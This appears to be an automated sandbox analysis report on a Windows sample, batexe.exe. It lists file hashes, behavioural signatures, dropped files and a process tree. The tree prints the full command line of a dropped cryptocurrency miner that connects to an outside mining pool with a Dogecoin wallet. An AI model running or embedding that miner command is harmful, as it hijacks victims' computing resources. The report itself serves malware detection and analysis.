73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
304s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12-02-2024 04:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
804	b2e.exe
4576	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2660-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 804	2660	batexe.exe	62
PID 2660 wrote to memory of 804	2660	batexe.exe	62
PID 2660 wrote to memory of 804	2660	batexe.exe	62
PID 804 wrote to memory of 3000	804	b2e.exe	76
PID 804 wrote to memory of 3000	804	b2e.exe	76
PID 804 wrote to memory of 3000	804	b2e.exe	76
PID 3000 wrote to memory of 4576	3000	cmd.exe	79
PID 3000 wrote to memory of 4576	3000	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Users\Admin\AppData\Local\Temp\A018.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A018.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A018.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A1ED.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A018.tmp\b2e.exe

Filesize
1.6MB

MD5
9f8349b24a6d480db79da2c65a51feab

SHA1
b5f1a7db7375e13a85bbce0cb3b13a95cce2ae76

SHA256
e7697b1bb9d8688a1220b7dd5892eaae8a93f09bfd5418820840693c7319113e

SHA512
41bf69f32c34fa6b69c1a4a22e582a5c5d00795681b707fbfddc570a411fbc2b7c3c7dae9c74af3ed2869881dc3157f0ff1b3080b35525d3a9c8ba5a5a8b7ef5

Download Submit
C:\Users\Admin\AppData\Local\Temp\A018.tmp\b2e.exe

Filesize
1.6MB

MD5
be777c4e5784d27a881d1a204649e661

SHA1
69035f7e414d785b9a47955b849878d2e43b68f8

SHA256
823e54282c7f47ee5e7a6357163088577fb69df5d9f7e8d117358c5f20ae30bb

SHA512
608d9d0a87876ee05a6c7541de7f58f38aa6a35c6defb37f6906f80a3a0f81ac636f0047b541191480bfe60d327d39f41727a74bb03725905c4092fe2281182f

Download Submit
C:\Users\Admin\AppData\Local\Temp\A1ED.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
0be2583f0d8e6065e3ae2b01c98aeb27

SHA1
e87bd9a197f402a2869e0a7e8c0054540664864b

SHA256
d0b3cfdb909473a26ff294f224522d5949186739deec884f224493d8295f2471

SHA512
6fd11228a79ef7c1b75f121b7cbeae0dd1a55f4fddc4297208194702e8c117fcd7e3991fe197ea31c4c34a860c1c95db13f1c0e9477dc6bd66d237cfeede9441

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
1261d08d977c8a6df339070407224848

SHA1
445e55b0573634500715bdf5763353563658d3f5

SHA256
2c58fb7489bd9e522ed2c18cd5a8aa9a47d881d1963841341e7b8287b56370b3

SHA512
62f0416856f10498d187b24193cc8d97a6f8ec38c44a7bcd22735ed762c406965934e58cc2b08e0965fc8547f15782917edb1694af38708ef9ee17aa9d97b35f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
1dbfcc29ad3dce6342b949543ec507df

SHA1
2a0a3fb19e3a63566aff880c912baf5032e88a4e

SHA256
795188253d4fde4ad68ce2530b7e8163ef4fac79e94d79407f1e3de33e862ccf

SHA512
f0c2aab4156a7e05d9203ef62fb80173f89fedbe5840975cf02575a0e85dc6a9401080df08c19c1dd6c8b0d64fcd8c254ef185c9106660fef64fbf4180a254a1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/804-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/804-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2660-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4576-43-0x0000000071810000-0x00000000718A8000-memory.dmp

Filesize
608KB

Download
memory/4576-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4576-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4576-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4576-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download